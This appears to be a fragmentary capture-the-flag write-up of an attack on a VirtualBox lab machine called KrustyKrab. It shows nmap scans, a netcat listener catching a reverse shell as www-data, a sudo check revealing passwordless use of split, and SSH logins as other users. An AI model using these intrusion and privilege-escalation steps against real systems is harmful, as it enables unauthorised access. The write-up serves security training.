➜ Krustykrab nmap -sP 192.168.56.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-17 08:23 EDT Nmap scan report for 192.168.56.1 Host is up (0.00038s latency). MAC Address: 0A:00:27:00:00:09 (Unknown) Nmap scan report for 192.168.56.2 Host is up (0.00021s latency). MAC Address: 08:00:27:47:36:38 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.132 Host is up (0.00033s latency). MAC Address: 08:00:27:DE:9C:4B (Oracle VirtualBox virtual NIC)
1 2 3 4 5 6 7 8 9 10 11
➜ Krustykrab nmap -sT -min-rate 10000 -p- 192.168.56.132 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-17 08:24 EDT Nmap scan report for 192.168.56.132 Host is up (0.0011s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:DE:9C:4B (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 12.62 seconds
➜ Krustykrab nmap -sT -A -T4 -O -p 22,80 192.168.56.132 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-17 08:24 EDT Nmap scan report for 192.168.56.132 Host is up (0.00044s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0) | ssh-hostkey: | 256 f6:91:6b:ad:ea:ad:1d:b9:44:09:d8:74:a3:02:38:35 (ECDSA) |_ 256 b6:66:2f:f0:4c:26:7f:7d:14:ea:b3:62:09:64:a7:94 (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-server-header: Apache/2.4.62 (Debian) |_http-title: Apache2 Ubuntu Default Page: It works MAC Address: 08:00:27:DE:9C:4B (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.44 ms 192.168.56.132
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.61 seconds
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
➜ Krustykrab nmap -script=vuln 22,80 192.168.56.132 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-17 21:42 EDT Failed to resolve "22,80". Nmap scan report for 192.168.56.132 Host is up (0.00020s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. MAC Address: 08:00:27:DE:9C:4B (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 38.03 seconds
➜ Krustykrab nc -lvp 1234 listening on [any] 1234 ... 192.168.56.132: inverse host lookup failed: Unknown host connect to [192.168.56.4] from (UNKNOWN) [192.168.56.132] 46124 bash: cannot set terminal process group (691): Inappropriate ioctl for device bash: no job control in this shell www-data@KrustyKrab:/var/www/html/finexo/admin_dashborad$
提权
to KrustyKrab
查看权限
1 2 3 4 5 6 7 8 9
www-data@KrustyKrab:/var/www/html/finexo/admin_dashborad$ sudo -l sudo -l Matching Defaults entries for www-data on KrustyKrab: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on KrustyKrab: (KrustyKrab) NOPASSWD: /usr/bin/split
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Mar 30 00:15:24 2025 from 192.168.56.118 KrustyKrab@KrustyKrab:~$
➜ Krustykrab ssh Squidward@192.168.56.132 Squidward@192.168.56.132's password: Linux KrustyKrab 6.1.0-9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1 (2023-05-08) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Mar 30 00:12:09 2025 from 192.168.56.118 $